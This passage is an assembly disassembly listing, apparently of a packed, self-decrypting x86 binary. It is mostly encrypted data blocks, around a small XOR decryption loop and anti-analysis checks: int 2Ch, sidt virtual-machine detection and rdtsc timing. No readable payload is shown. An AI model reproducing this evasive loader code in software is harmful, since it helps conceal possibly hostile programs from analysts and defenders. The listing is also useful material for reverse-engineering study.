0AA12B195h, 9F25431Bh, 89283818h, 0AA6EB345h dd 0D0C16A73h, 0F2E2EA7Bh, 2992BCAh, 7606C3ECh, 0B9502CB4h dd 7E8E5F30h, 72A1D467h, 0B526A25h, 7A3E9352h, 1B77CFFh dd 6F486AE0h, 2781BDA4h, 0DD18A378h, 0A1824B4Ch, 65F78FE2h dd 0F60EC288h, 0ECA3F88Dh, 8D1B7745h, 1A27E0C8h, 0AD6F53Bh dd 3E6D50B1h, 404D940Fh, 7A4492FBh, 0AE01367h, 0E6BFACDBh dd 62705AA3h, 0D605D018h, 0A6E1BAA7h, 257D7127h, 0A2D100C0h dd 4DB9EBB1h, 0D0227807h, 0A29DCCFBh, 0B333071Bh, 19AF5483h dd 3A6A9DD0h, 7F73CB0Bh, 0B901204Fh, 6356580h, 0A36E851Bh dd 994213E4h, 0D20130C3h, 0E9BA8BB4h, 48F71A18h, 610430E9h dd 1DED6479h, 0EB551F4Ch, 0AAE28283h, 0D846F3F2h, 335FC9A2h dd 4C953171h, 8556243Ch, 422EBD3Fh, 0C64FF9AEh, 3C851E7Ch dd 7546145Ch, 31149053h, 0E2BE8F40h, 0A979EC99h, 3975F1D8h dd 0BC76CC96h, 56AE7F53h, 3957334Fh, 5A865768h, 11E13C00h dd 0EDBE5240h, 0D550BDCh, 4516E43Ch, 0FE2C1A9Ch, 0C40C50CFh dd 0FA4A1BEFh, 3391F0Dh, 0B3499364h, 0BD34C428h, 6D49CAF7h dd 201D07ABh, 0AB3B4B57h, 11EBB600h, 5A2ACDF3h, 155EBBC2h dd 80A27244h, 72B985E8h, 0C48FDB43h, 0B4D69140h, 4F275314h dd 174E29C8h, 61C3258Ch, 652E8310h, 347DACC3h, 0AFAA0032h dd 0BCCB294Fh, 0E580BFD7h, 2485A6FFh, 5D18C75Fh, 18EABB8Ch dd 5051553Ch, 91540B8Bh, 4D1EEFC3h, 0AC5BA709h, 0C5A05FB7h dd 7AADDC0Bh, 0B08FD55Bh, 0F9FCA3E3h, 0BD865728h, 7142158Ch dd 2B9696A0h, 0B1BA8B5Ch, 5A9105F0h, 0E6B7892Bh, 9BEE89A8h dd 0E12D51C8h, 10EE373Eh, 5114CB43h, 88294F62h, 0C9AC53B3h dd 855627F0h, 0FC92EAC1h, 0FDF8A7F9h, 4E4F2F2Dh, 437E986Dh dd 3102D3A4h, 6DA5FB68h, 9F42CCA1h, 0D54202D8h, 197A7E14h dd 0A9AB7F66h, 10D7BBABh, 5026C1F0h, 94152DF0h, 0CDA857CFh dd 95A2BFCh, 0F896EECCh, 1E49BF3h, 3E072832h, 4F75D749h dd 32EED7A8h, 193D6C97h, 5281B241h, 69387B34h, 0AD6B4C98h dd 0E2B2B56Bh, 0AB51B38Dh, 0A55313CCh, 91E94877h, 0D1A27114h dd 0B2DA9A8Bh, 1791EB8Ah, 0ED08A444h, 3E6D9E4Eh, 7F749DFFh dd 738BDBACh, 0F5C6F74Ch, 0E37CD8C4h, 79440CB6h, 0DEEAB19Fh dd 0D38E08DDh, 0A1724314h, 0D43A8AC0h, 2FD56B31h, 4913FA48h dd 1A62053Ch, 7B0E864Dh, 5E7E587Ch, 0C59C4081h, 81E7AEF4h dd 0CE0EE9A0h, 1ACA2AC9h, 4222A42Ah, 477A9C61h, 2DFECFA0h dd 473E844Ch, 5A764718h, 0D7DA2BA7h, 9611407Eh, 0EF95BBD9h dd 9AB4B208h, 51226B40h, 896B2480h, 429A5D03h, 0CFD737B2h dd 41128390h, 0F584B490h, 70B9595Fh, 4E5265EBh, 712BA29h dd 84330460h, 0DB7A7D0Ch, 410A8C8Eh, 319B6617h, 5EAE7F66h dd 996A52ABh, 2FADF7C8h, 19A8B28Ch, 3A199843h, 0B6C2AE77h dd 0C0E1E78Eh, 1E49BFBh, 0BD8E5F70h, 61BD1998h, 1C0AA5ABh dd 3D771A54h, 267E791Fh, 593B23AFh, 1D79426Fh, 0E1F28362h dd 9F1A3F10h, 0B17BE33Bh, 0EA194BC1h, 0D2AE981Dh, 0FF750773h dd 0BA4CBAB0h, 888FF8DCh, 0F7AAFF81h, 0ADF396F0h, 0CA0AED93h dd 0FA98C8CCh, 360FC115h, 6D3E0F35h, 11775EA6h, 0E3C3876Eh dd 0F70A917Dh, 0DA6EDE4h, 0C352537Ch, 5EFC88B7h, 0DB613F4Eh dd 0C29B18D0h, 9DA9D44h, 48866738h, 922726B5h, 2C25239h dd 7CC99B5Ah, 0B5B04741h, 712BB467h, 6FECFA0h, 6E33A31Fh dd 0A576474Ch, 5D7E8623h, 1DEFBFA6h, 0DEDE7B4Ch, 356E74CFh dd 0A6825364h, 3BE62005h, 0C99A6B3Ch, 0D7515378h, 0BEE5995Ch dd 7045C58Fh, 0B9BC64E0h, 3ECF120Bh, 0BA0F388Ch, 0DB8147EDh dd 4278A81Ch, 4D7D8CDBh, 197D4663h, 0DDAD7F66h, 8D1E3B0Ch dd 6AF67243h, 9CE1B3B2h, 0CDA850FCh, 0B6E2AEFFh, 4D17E78Eh dd 8AC2E9FFh, 8BB1D7B5h, 710022ECh, 7F8FD4DBh, 0E180926Ch dd 0AD262CA3h, 56AA8E57h, 0B99EC7AEh, 0E0B2837Ch, 9C373752h dd 0CCA0AB8Fh, 15D08F05h, 0E92DF6B3h, 8D5E2F36h, 4F6EFBBCh dd 15BF2A7Bh, 0C1246302h, 45C19A07h, 390ADB9Ah, 0E1B3976Ah dd 347595DAh, 6D08376Fh, 29FECB9Ch, 503C812Dh, 0A1447B9Ah dd 65A17A27h, 59EABBBAh, 0DED37748h, 5360348Eh, 0AFC8ED6Ah dd 83D3408Bh, 6F54553Fh, 76B0F5F6h, 0B66A0D83h, 0FB45FF4Eh dd 0DD3BD470h, 714225DBh, 0D7204BAFh, 5C4574A3h, 0A540789Ch dd 5A8C962Bh, 0A811BFA6h, 0D99C44CCh, 0AE54A2F7h, 0DCAFF3F2h dd 0DE890ECh, 0F6EEFEB1h, 0D70727CEh, 0F4EDE3DEh, 0FDF8A018h dd 8238CED3h, 0C0B917DEh, 3134ECCCh, 0D68C1A9Fh, 1CF74B2Ah dd 6500398Ch, 1E96766Bh, 22F87F66h, 0AF519599h, 3D8374C8h dd 11E285BBh, 0CD9E8783h, 0E3072BFCh, 0DFFB66B9h, 59D29543h dd 384F50C0h, 797C0E94h, 0B6C5172Dh, 0FE326CACh, 0B806CAE1h dd 54F90BEAh, 25DCC788h, 60D49F21h, 0F1621B6Ch, 39398EBDh dd 0EA197360h, 39A706BBh, 72A1D5D4h, 0B6E53954h, 0FAF8C687h dd 0F5C41B19h, 7D6BA7E2h, 0D16ADBACh, 0A3968CDh, 0F5096A51h dd 0D8B33FC4h, 29CCF5C8h, 83BED7D3h, 0A3747995h, 3578DAA3h dd 1915BB8Ch, 0D5CCB3C3h, 49D6356h, 4D28D43Eh, 88D26FFFh dd 0FAA93B06h, 25156A8h, 0BCE6DB76h, 11356496h, 4A79A857h dd 5FAD085h, 0C6FECFA0h, 0E99533EDh, 0B89E4718h, 0A33203D4h dd 2D56BFB0h, 31AA7B4Ch, 95663718h, 0E922D706h, 0DDEAE05h dd 0C99A68D4h, 857AE5F8h, 4D36B739h, 54DB1BDh, 0D993272Ch dd 75461700h, 155658A4h, 0F735D250h, 910BA69Dh, 0B1DE07EEh dd 400D3C75h, 0DCAE7B92h, 9C6D3D0Fh, 0D7BB33CAh, 0FF39FE68h dd 119415h, 498D01h, 40284DB8h, 28008000h, 67008140h, 90012345h dd 0FF1D52A8h, 35FF6450h, 0 dd 258964h, 33000000h, 900889C0h, 5E909090h, 0EC246856h dd 70E7E633h, 0AE041D78h, 1B1D5A9Ah, 0FB695632h, 745BF98Eh dd 97F06419h, 0A35A5802h, 8D3C4643h, 1CB68B24h, 0A1058549h dd 0CB10DBC4h, 3E32141Ah, 0D4B1A95Dh, 5C337950h, 4E7628C0h dd 5D399478h, 0A1191858h, 332AD45Dh, 538D8BEAh, 3341CE2Ch dd 0E061AD20h, 0E2264008h, 7A37182Ch, 70C15678h, 23637456h dd 10115D89h, 6197323Ch, 0A7240315h, 0CB15174Dh, 0F48B02C0h dd 0ACDC7589h, 17F5A903h, 5A695C64h, 6543EF46h, 0FC4D8340h dd 2C5FC7FFh, 0E02F4929h, 1C395F56h, 52F755D6h, 11h, 19Ah dup(0) dd 7FFDE000h, 100Ah dup(0) assume ds:_text ; =============== S U B R O U T I N E ======================================= public start start proc near cld call sub_42003E start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420016 proc near ; CODE XREF: sub_42003E+4Fp push ebx mov ecx, 0DA5h mov ebx, edx loc_42001E: ; CODE XREF: sub_420016+13j xor [eax], dx lea eax, [eax+2] xchg dl, dh lea edx, [ebx+edx] loop loc_42001E pop ebx retn sub_420016 endp ; --------------------------------------------------------------------------- db 37h, 13h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42003E loc_42002F: ; CODE XREF: sub_42003E+3Aj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42003E ; =============== S U B R O U T I N E ======================================= sub_420031 proc near ; CODE XREF: sub_42003E+8j ; sub_42003E+19j push ebp mov eax, 8000h xor ecx, ecx jmp short loc_420065 sub_420031 endp ; =============== S U B R O U T I N E ======================================= sub_42003B proc near ; CODE XREF: sub_42003E+1Cp ; sub_42003E+22p rdtsc retn sub_42003B endp ; =============== S U B R O U T I N E ======================================= sub_42003E proc near ; CODE XREF: start+1p var_6 = byte ptr -6 ; FUNCTION CHUNK AT 0042002F SIZE 00000002 BYTES test eax, eax jnz short loc_42004A int 2Ch ; Internal routine for MSDOS (IRET) test eax, eax jns short sub_420031 jmp short loc_420059 ; --------------------------------------------------------------------------- loc_42004A: ; CODE XREF: sub_42003E+2j push eax sidt fword ptr [esp+var_6+4] pop eax mov eax, [eax+6] shl eax, 10h jns short sub_420031 loc_420059: ; CODE XREF: sub_42003E+Aj push ebp call sub_42003B xchg eax, ecx call sub_42003B loc_420065: ; CODE XREF: sub_420031+8j sub eax, ecx mov ebp, [esp+4] sub dword ptr [esp+4], 1D7D8h sub eax, 100h jnb short loc_42002F sub ebp, 301006h lea eax, [ebp+301082h] mov dx, [eax-65h] call sub_420016 fcom qword ptr [ebx] rcl dword ptr [esi], 0A5h push ebp loc_420098: ; CODE XREF: sub_42003E+66j adc eax, 2157CB77h and [ebx+73h], esi adc ah, [edx+edi+48h] jnp short loc_420098 inc ecx xchg ch, [ebp-9C40B43h] cmp dword ptr [esi-26h], 6 xchg eax, ecx sbb al, 16h mov cl, cl and eax, 8B96FEAFh adc [eax+6Bh], ah mov al, 0D7h cli into mov es, dx cmpsb mov ebp, 4F646AB3h retn sub_42003E endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 377803ABh, 9C245B5Dh, 72AECAE0h, 5615B313h, 9B4A81D8h dd 0DC4DC87Ch, 0AE7A9CEDh, 73986C88h, 0C987ECAAh, 7C5F94B8h dd 3D044D7Ah, 6FC389FBh, 6EDC2C80h, 17ECB9Bh, 7B928068h dd 0B7AAB2B2h, 75479D99h, 34183002h, 0F7C7D1E5h, 6A980C24h dd 396C0EF7h, 83A66398h, 0A29CFABAh, 76736177h, 4E92A20h dd 7D30CB98h, 0DDD4676Bh, 628C2D1Dh, 0FAE7773h, 3C7CCE01h dd 4EBCF3F5h, 4358C3AAh, 7252A0AFh, 0FEC16FE6h, 0E2EF3534h dd 91866A06h, 0A0A54AC8h, 264B2406h, 6515FBDEh, 0EDDFA897h dd 17547737h, 0C6723C0Ch, 0A9965F33h, 57B25DD0h, 1D522B0Eh dd 9121E8ACh, 73E69F84h, 93611DDh, 0D7254344h, 91D1BC33h dd 0F67BD6D8h, 0A3A62249h, 80934070h, 0D8AD01B8h, 1098CFFh dd 0DB0B4B7Bh, 0A8FC80A7h, 5695D834h, 3D513F18h, 0AA3E8B74h dd 10F58E92h, 9F4F16E0h, 658A5386h, 0C5C0DA17h, 92DDE4A6h dd 4C692231h, 0A552F9F2h, 8C95C6F5h, 4848116Fh, 1D07A459h dd 33DC958Fh, 46A2E02Dh, 0DC70393Bh, 85BA360Fh, 0F8FCDFCh dd 2A470DAEh, 7474E361h, 33E39CBBh, 393C0B60h, 0ACD2B340h dd 0BD2D0968h, 0E061285Fh, 0BF0FDF2Ch, 4CBAC6FCh, 4D4140B3h dd 1637401h, 0C6200B6h, 0A4C892FAh, 118724DCh, 0B95D160Ch dd 442250B5h, 0CC093EB4h, 72AB0505h, 0A87254Fh, 2CD09D99h dd 0F61AE38Bh, 0A0F0D12Eh, 0EAF4853h, 0E7DCD02h, 75440D0Eh dd 69E60756h, 0D9D8A5A0h, 0F2CA2AEAh, 186C5C62h, 93B78117h dd 3C9435C9h, 4F4C253Fh, 71975F54h, 90013C57h, 3C2F3C2h dd 0B9743D3Dh, 9ABE852Dh, 651D1BBh, 0D0597616h, 49B10FF3h dd 165BB0h, 22344779h, 577B4475h, 0A2C7030Bh, 0ED0930D9h dd 63142324h, 81E8212Ah, 0E7F32247h, 0A0B40232h, 5FB35BF2h dd 14405FA5h, 0F427CC99h, 0D6F1269Ah, 88AC77B1h, 0FE5F023Ch dd 13410A39h, 66890DD7h, 0CD50159Dh, 41FD8CBh, 0C0E53242h dd 8F845645h, 0F2C77A47h, 0DCB61220h, 0EA9C5C5Ah, 0B7DDA49Eh dd 2EB67565h, 3C8E3A09h, 103E0B82h, 6005FEE6h, 1B7B9FA5h dd 75659C62h, 0A463A2ACh, 812EF7F4h, 6454C0C4h, 9FB2748Bh dd 0C281505Ah, 8ED62010h, 7D9141E7h, 0C7EB4B4Bh, 13C979F1h dd 0D1F44849h, 0A6F9BE16h, 80ECC53Eh, 0A1DBA829h, 4A84159h dd 0FFD92101h, 19C2F906h, 0B8005F50h, 45D19A9Bh, 0F81BE502h dd 6E9992A2h, 433B7949h, 0F0CC3A9h, 0A3417EF2h, 2AE55BB6h dd 0DE8E5BA2h, 723B86EBh, 797BA083h, 93A43880h, 0DA8FCBCAh dd 0D7B2E858h, 0FF3C06A0h, 0BCE1E7ADh, 0AC4DF4F3h, 0FA7179B3h dd 0FD136CBAh, 6DF23079h, 585477C9h, 7A9E0733h, 0C4827D3Ah dd 0F583F70h, 597C452Eh, 0F286E598h, 0BE1EB388h, 14D2B1DAh dd 1FD6E5Fh, 9887F87Dh, 9D3A0363h, 0EB842799h, 0C0CAFD5Bh dd 0A71A8BE1h, 6B0B2C46h, 0E3AD7616h, 2C9D91C0h, 90D7F45Ah dd 388C6578h, 0BE291AC7h, 0FC21D46Ch, 46DEB933h, 29B54E6Dh dd 0DAFFC0D2h, 81B9FC9Ah, 7E94B0DAh, 3D53A795h, 318E5E9h dd 0D8FFDBC5h, 978C9CD6h, 0A393309Ch, 0C4512A35h, 769B6475h dd 0AB8AC1E1h, 797F8882h, 3910342Bh, 0C9A6EBE9h, 8F78BAB7h dd 0CB082160h, 4E89B2FEh, 15693CB5h, 4336CFD4h, 37A0231Eh dd 325F6C6Bh, 7714EDF2h, 32A77E9h, 0D0AB18E5h, 0BA2737EBh dd 0BD65506h, 37885151h, 0CCB7DFFEh, 8B4C8290h, 2F0E4659h dd 8DD41D1Fh, 0A6E3B92h, 0AA463F25h, 3DC60F9Ch, 4A8DF5F2h dd 30089479h, 5AAAB437h, 592D7ED6h, 0B502FBE0h, 0D64F7C16h dd 43BB65F5h, 0BCC913AAh, 23BCF4F4h, 7679B7DEh, 940DFDDh dd 0E739FE82h, 94D7EB2Dh, 7BAE4B85h, 3ABFE5B2h, 201EAE69h dd 2EBCC047h, 5A45C9CDh, 10FEABDFh, 53530052h, 7C8F0470h dd 0FDC3F52Fh, 63FA8604h, 946CDE92h, 98CE979Ch, 0C6FB702Bh dd 6C8EA914h, 0A2D87647h, 0C4170140h, 4A120B0Bh, 38DD0305h dd 2729CCCFh, 0FD10C214h, 3332F4B1h, 0B5C18171h, 367A47C0h dd 0CD4A233Eh, 906BA030h, 744B58F5h, 0EF28C1DBh, 66B6BAA3h dd 0CFBC8584h, 0C8CB5A30h, 0B8AE1A2Ah, 77AB4FA9h, 3E1F4047h dd 0C2FF807h, 65234243h, 0F192DD44h, 0EB0CBE86h, 0F1D32126h dd 73C83B3Dh, 0ABE713Dh, 47416556h, 0A261A24Ah, 32466B6Bh dd 0F225CB92h, 6C31787Bh, 0AD7BE68Ch, 1477BD8Dh, 0E5B4CB27h dd 64D10A09h, 0AED3BCCFh, 0F91DF647h, 43683131h, 8DB27B7Ah dd 0D7FCC5C4h, 0DE14465Fh, 5BBA83CDh, 19820FA2h, 0FB502E68h dd 16ACD6D5h, 0F1CAE3C3h, 0BA6EAD85h, 432C5872h, 0EC0205h dd 0DE87F8F6h, 7A45A380h, 3E764A4Bh, 0FFB2FDFAh, 8B0AA7B2h dd 5D276A6Dh, 389F060Dh, 0B188D7C0h, 7C5ABA99h, 197D0722h dd 0D0A6F5E3h, 83789CBEh, 493D6843h, 0E4C80600h, 0BFB3B9FBh dd 724F6561h, 2EA3C1Eh, 0EABCEBFDh, 936BA1E2h, 1201594Ch dd 0FEC11A12h, 0A69095A4h, 1E276D6Eh, 9E82416h, 0DA83C5EBh dd 99408F9Bh, 221E7634h, 0C5D30B1Fh, 0B46CA6A7h, 153B7876h dd 11FB0D6Fh, 0D5B7DBD7h, 7D6CF285h, 27274855h, 0FDDCE3F4h dd 906297D0h, 4B3E725Dh, 0AE81124h, 0B693CDC6h, 0D718A9Ch dd 110E2603h, 0F2A1E1E7h, 0EC6BADB1h, 702D4764h, 0D4C60004h dd 0CA88DBDEh, 594C6446h, 32F72F24h, 0C4A5D3F0h, 9E7791BAh dd 7A616B4Fh, 0E8E60011h, 0B499CBDAh, 7F2E6840h, 65CB363Eh dd 0FCA0F8DBh, 9F6A949Fh, 3600765Ch, 0E1C71F1Eh, 0D8BCBFB7h dd 763C7448h, 2AE2363Ch, 0F8B9C9CAh, 4043828Ch, 3F157E38h dd 0E5D7E6D6h, 8870AC9Ch, 4F081856h, 6FC3415h, 0D08CC5D8h dd 7D48B1F5h, 20052516h, 0D8AFE5E3h, 0AF0B95ACh, 5D006B7Ah dd 19CD1C05h, 0A98CDDFAh, 6555908Fh, 1A102821h, 0D1ADD692h dd 947CB28Bh, 7E2E5148h, 0E7C20218h, 0B783D5CFh, 77504205h dd 23EA2E2Dh, 0CFBFF5F5h, 9675AFE3h, 230C624Ah, 0F2DD190Ah dd 0B4B4C283h, 7A2D5B7Ch, 2FE81821h, 0B3BDCDC9h, 90479BA5h dd 2D015F73h, 0E2C7E132h, 9C66A4A0h, 423C5A14h, 1EE40F30h dd 0C893CCCBh, 6958A3F2h, 2307585Eh, 0F3F8B5B4h, 0E57CA2A3h dd 4C3C6E4Ch, 4AEE1503h, 0BB82FE82h, 6B63FA8Eh, 313D2024h dd 0F1C5EBE3h, 8449ACBCh, 431B4648h, 0E3CD1F1Ah, 0B88BC3CDh dd 706A0243h, 33EA0A38h, 0C0A2C6F3h, 8672948Eh, 4A07782Bh dd 0EDC01C33h, 0B79BD6EBh, 792D5909h, 338B2436h, 0C0B4F3F3h dd 8C7A81B1h, 2C2C557Dh, 0D9B41810h, 0AC8AB5AFh, 4F087E71h dd 6DF03336h, 0C3B4D4F3h, 6E4EB68Bh, 383F3A5Ch, 0E3D1E0C2h dd 9355BABEh, 47396F71h, 6FF0407h, 0DA8FC2F8h, 7E60F798h dd 351D3302h, 0F784EEFFh, 0A70CB0B9h, 56256354h, 2DC41E0Bh dd 0A288DBC6h, 5C358D8Dh, 390D0B3Dh, 0F6ACE6F2h, 9470B3AFh dd 431B545Bh, 0C6DC3F72h, 0BB93DECEh, 7A585563h, 0DE83924h dd 0E0A5D49Ah, 914D9485h, 2429584Ah, 0F8D31C2Ah, 0D694ACAAh dd 500A7A43h, 3C93632h, 0FAD9C7CDh, 9A53A39Fh, 261C6758h dd 0E0CBE4E3h, 0BB69A49Eh, 5C03167Bh, 1CF21010h, 0C882CFFAh dd 7459B9Ah, 23254A70h, 0F8DAFCE7h, 946084A6h, 5C356869h dd 15F3022Ah, 8AE8C8C3h, 6A47AA8Fh, 202F3C34h, 0CEA3FBE3h dd 8176B793h, 4C3A4957h, 82CB0106h, 0BEB8CCF7h, 405F776Ah dd 15F03F24h, 0CF83FBF6h, 8C6A8E8Ch, 53177E2Ch, 0EAC41823h dd 8092A4AFh, 732B797Eh, 26E30133h, 0E2BFECF0h, 92499B9Ch dd 153C3454h, 0F1C12D3Ch dd 0AA8ABCB5h, 4B267011h, 1E73828h, 0CCBBCCC6h, 6D4792EFh dd 39115E54h, 0E3D9E284h, 9675A0A6h, 4D3F637Bh, 49B010Eh dd 0C093CDC8h, 6F419D84h, 36163142h, 9FB7E9E7h, 8F79B89Fh dd 403D4F53h, 0DCD0728h, 0A68DFDD0h, 1353939Bh, 38F42703h dd 0D3AFFDE6h, 0B160B899h, 59314646h, 0E2CC0610h, 0A492C8EEh dd 74770762h, 0AFA3425h, 0DE9DEFFEh, 0F95D8B80h, 26135E79h dd 0F9D41408h, 0B99EB48Bh, 602A7D5Bh, 1FFE1058h, 0D0B4D1C7h dd 6141BF98h, 26077153h, 0D0F981E4h, 96528A9Dh, 6D632425h dd 21972C2Ch, 0D1A2CDCFh, 434E879Bh, 75475Ah, 0ECF0EFECh dd 8242BCB6h, 702C5867h, 1CFB3568h, 0B78DC4E3h, 7C53AD85h dd 22392032h, 0C1948FD0h, 9B758ABCh, 4C374570h, 0C2DD2B15h dd 0C8063BBAh, 7F6BCB2Fh, 89844D4Eh, 0A8EADB15h, 0F372E188h dd 2A307C7Ch, 0DA61FD72h, 80A7144Ah, 4C134B61h, 0F519AA06h dd 31D6AFB3h, 68DFE52Dh, 475B1891h, 52BDBAFDh, 727A459Fh dd 164A2307h, 6FFE0DA3h, 2C21A9CCh, 418DDB9h, 0CA7DFBBEh dd 98BC8515h, 8352A79Fh, 0F9DA1A1Ah, 0BB10640Eh, 0C18DEEC4h dd 662FE8F8h, 56131041h, 0A0A3D8E5h, 0BA0DBCD7h, 0A0A77171h dd 7F9247E1h, 5C13ECE9h, 13072BCDh, 1F5B5CFh, 0B24B191Fh dd 0FEF6DEEEh, 2C60BCA4h, 57A97343h, 20BEEEAh, 36428D8Ch dd 0EB045261h, 0AED387A3h, 6E2B20Dh, 0D2EDBACFh, 0B24B56h dd 0D7E7404Bh, 0DE04F80Eh, 0EE1AA5A7h, 0B5EB8823h, 1BA96161h dd 78873837h, 1F467D7Eh, 0EF2F494Eh, 5D8E9216h, 0EA17EC6Bh dd 55E2ABB1h, 0F7D30AE9h, 9129F8B4h, 9CC061DCh, 6657D3D3h dd 14F98F3h, 0F6565B68h, 0F5C95237h, 4167ADFCh, 0B2C1616h dd 88C6056Eh, 0EB96DAEBh, 0F4C9DA02h, 0DEA65F5Bh, 98F0BD78h dd 173B04ECh, 8C04134Eh, 0ABFF822Dh, 63941D88h, 405437ADh dd 0AA632527h, 0D4D2C1E5h, 784FC888h, 724BD392h, 921AA0AFh dd 0E7E96F2Eh, 47483504h, 52EB7F54h, 0DD6AC8A2h, 55B427ECh dd 0F580A159h, 0D22FDC67h, 529F2FAh, 4C28ECB7h, 2C30BAD6h dd 0E437CA34h, 2F5EA190h, 0F2176565h, 0C2E6AEA7h, 0C61B01FAh dd 0A4B1C824h, 0A4B0EC28h, 7FB359Fh, 399EA1E1h, 0D377E73Ah dd 9EBD7A3Ch, 4669416Bh, 0CB7DB421h, 0A8FCB908h, 781A1B5Ch dd 0D4D23BFh, 47C5F74h, 0D632B954h, 1BA80962h, 0A68904DBh dd 832308F5h, 7E1BE7D6h, 845A3A39h, 7A9CC39h, 0E8D13150h dd 0AFAAE60Fh, 92383A1Bh, 753DD06Ah, 12607B8h, 0CA2D3938h dd 0A5A1F56Fh, 1B9946CCh, 0A94F283Bh, 7491461Dh, 0BE5A28A4h dd 0E5ACF6F5h, 53774248h, 9CC5E2DEh, 7DF4D4D4h, 32663336h dd 0F82D95E2h, 0C6EBB797h, 115EADFDh, 5B7E43A0h, 0F19AC792h dd 65ED8CDCh, 3A6D0A02h, 132AB942h, 0CEF1BBBFh, 1A565454h dd 0A87251Eh, 0ECD09999h, 68F1CB1h, 0D7651E05h, 0D0DB8EFDh dd 0D1919692h, 48440D0Dh, 49AAE3A9h, 4CD8A1A2h, 0CE0E327Fh dd 88E86F35h, 8654960Bh, 0B7D54199h, 701D4714h, 403A008h dd 0E2E09984h, 0D65F3377h, 9DE1C26Bh, 17BEB7ACh, 0B25A9586h dd 0A20B5876h, 799C62F1h, 3D41BB0h, 0FD68EA90h, 82B14EEh dd 0F295DEDFh, 149A278Bh, 0B65A130Fh, 81A665AAh, 0EF9A48B8h dd 0DCACFD0Ah, 0C837C60h, 85040369h, 364AE0D0h, 0E22B2Fh dd 0CEAD007Fh, 0C78A3234h, 5A20A39h, 768BC1DEh, 61D69EADh dd 7FCD17B1h, 0BAE23CF2h, 80B47D7Ch, 0D9FE3742h, 19779210h dd 0EDD54C2Fh, 33D2A69Ah, 227F00Fh, 395104B9h, 0A83AC272h dd 0A64B879Dh, 0E4DB3B6Dh, 3A9B25A4h, 0D5B56387h, 5978A6F6h dd 78B9D4BEh, 0A59B8BBBh, 5689DA14h, 0DA572020h, 7DA16ADBh dd 95BB8A35h, 973AA8B7h, 5C7F48ECh, 0AC15410h, 751CD1E1h dd 3B5E27B1h, 76DD514Eh, 0C0C88710h, 193D8A83h, 438AFD50h dd 90F1BABAh, 8C7E83C5h, 7ECA505Ah, 0DCC0C59h, 0BEDA3CBDh dd 51307A79h, 1A8C26D6h, 0C1F68D9Bh, 642A83h, 0F35F3836h dd 93B8A690h, 2150293Dh, 18617F80h, 2257535Fh, 54B1FAF9h dd 72BF4FAh, 3F02517Ah, 0FFDEE7E4h, 379C2DD2h, 0B5542D31h dd 49A813A7h, 3F6D3878h, 5E32CBD7h, 597F452Eh, 0F597DE14h dd 3B85268Ah, 0B55B1409h, 0B2BE1EFAh, 5DCE8B9h, 446A5257h dd 0F57B1C1Ch, 0AAFEBB96h, 0A3CE566h, 0F48E1B9h, 96E8E76h dd 0E3E2AF4Dh, 0DEBB0A0Ah, 63A809DFh, 0B1D69F76h, 11A1B4E8h dd 465B294Eh, 0A0F6C3F6h, 6F74C8F7h, 247A235Ah, 0E31FA658h dd 0B8EE97E2h, 86A3541Ch, 4D420B79h, 0A783100Fh, 6705CFFEh dd 2C612A2Eh, 0FEF366EAh, 3FE5AEBEh, 3B039162h, 9B0A942h dd 0F6B5E9C8h, 0BA51B3B5h, 5D2B5849h, 33CE0A08h, 0BA83D8D0h dd 0C105FF86h, 0ABD286C1h, 4649C14Dh, 0F154B7DDh, 560D7FD0h dd 3D1CFF6Bh, 69F38CA0h, 1A3E0710h, 9AC555DCh, 0C82D6464h dd 0B418684Eh, 43673030h, 0CA3CD11Ch, 33C96FC0h, 0C3ED69A2h dd 5805D4A3h, 0E1DA9392h, 0FF76EB86h, 7A42AEA2h, 0B0CC0A81h dd 0C7C648C3h, 0AC42D693h, 739761C5h, 9D89AAC0h, 5E2BF4F5h dd 0C78A3555h, 9C8FA428h, 6C058C58h, 0ACDD0D50h, 7BAE575Fh dd 0F5D33C3Bh, 0F3B3FBCCh, 5583B547h, 0A4ACDCC0h, 5AEFDFB1h dd 396B1415h, 0AFE0FB8Fh, 32BFB88Ah, 270A30B1h, 0AC11B24Eh dd 0F3CEA7B3h, 0F98B2167h, 406278A9h, 0B12C1077h, 0D8839A8Ch dd 73D7F458h, 818C6579h, 0B2D69EDEh, 0FDE85764h, 0F0643434h dd 0E5386030h, 0DF97D7F9h, 724A1313h, 43B5C8A3h, 0EE88A796h dd 2FC1640Fh, 0DF93B0Bh, 137F86B9h, 3005B79Fh, 0A6716891h dd 43167C2Eh, 0C248FF9Dh, 0D57793Bh, 241C1126h, 522189F9h dd 0C2A03D8Eh, 47D3052Eh, 8CA13248h, 0C6F0E73Dh, 107904B7h dd 0DFB5C199h, 0E9406797h, 0CDA057D6h, 0B7601919h, 0B11F4845h dd 0A2F48D8Dh, 2D8A2384h, 5F896261h, 9EE3A72Eh, 889EE9E5h dd 7097CECFh, 0CE07F2BAh, 5EFCF5F4h, 11775783h, 1C10A58h dd 0B4B1F4A1h, 25EE84h, 0CF906FB7h, 948997F9h, 0F4F25934h dd 0A4B11726h, 73A87418h, 0B21D5329h, 0F7D3CE70h, 61F3B6C0h dd 0F6C0B9B9h, 0B10AB9D3h, 50C0E14Eh, 0F09F5844h, 0F5D9F537h dd 12D33DFCh, 5A171617h, 88FA056Eh, 6A98DAEBh, 396C156Dh dd 83CCBBFBh, 9DC246E8h, 2708B1FBh, 0F47A4E7Eh, 0ABFFB4C1h dd 0C62A6769h, 44ED2D1Dh, 473B8853h, 5FF8F1EAh, 0ABC83058h dd 68BD661Eh, 86CDF414h, 680A1462h, 475C0503h, 0A1F1F2F5h dd 0F7ADC9F8h, 0DCA9BFD1h, 6DE1DBD0h, 0EB8EA897h, 5478A2A2h dd 6372A9C3h, 66ED86B6h, 0D42C1D45h, 5D77D81Bh, 1DA64F5Fh dd 0AE84CEC1h, 4D0A9D9Ch, 3B1F2B37h, 8FF6BEE2h, 0C062BBBCh dd 6559130Eh, 0C5F73F34h, 0BFAEEAFAh, 7A5D7373h, 30ED083Fh dd 0C4A3E7E1h, 0AF62BA8Ch, 4B134F79h, 0F4CE171Dh, 0B09DEDE2h dd 5A246C7Ah, 16EF3031h, 0CE84C1EFh, 9F738694h, 371B5745h dd 0FCDA3A27h, 0B49CB1A0h, 4E274163h, 30EB3830h, 0D8BDD1F0h dd 65548E89h, 2D1F4B68h, 0C9DFEFEBh, 8870B88Dh, 50266A78h dd 4D80604h, 0DD8AC0DBh, 66448294h, 1F2B332Eh, 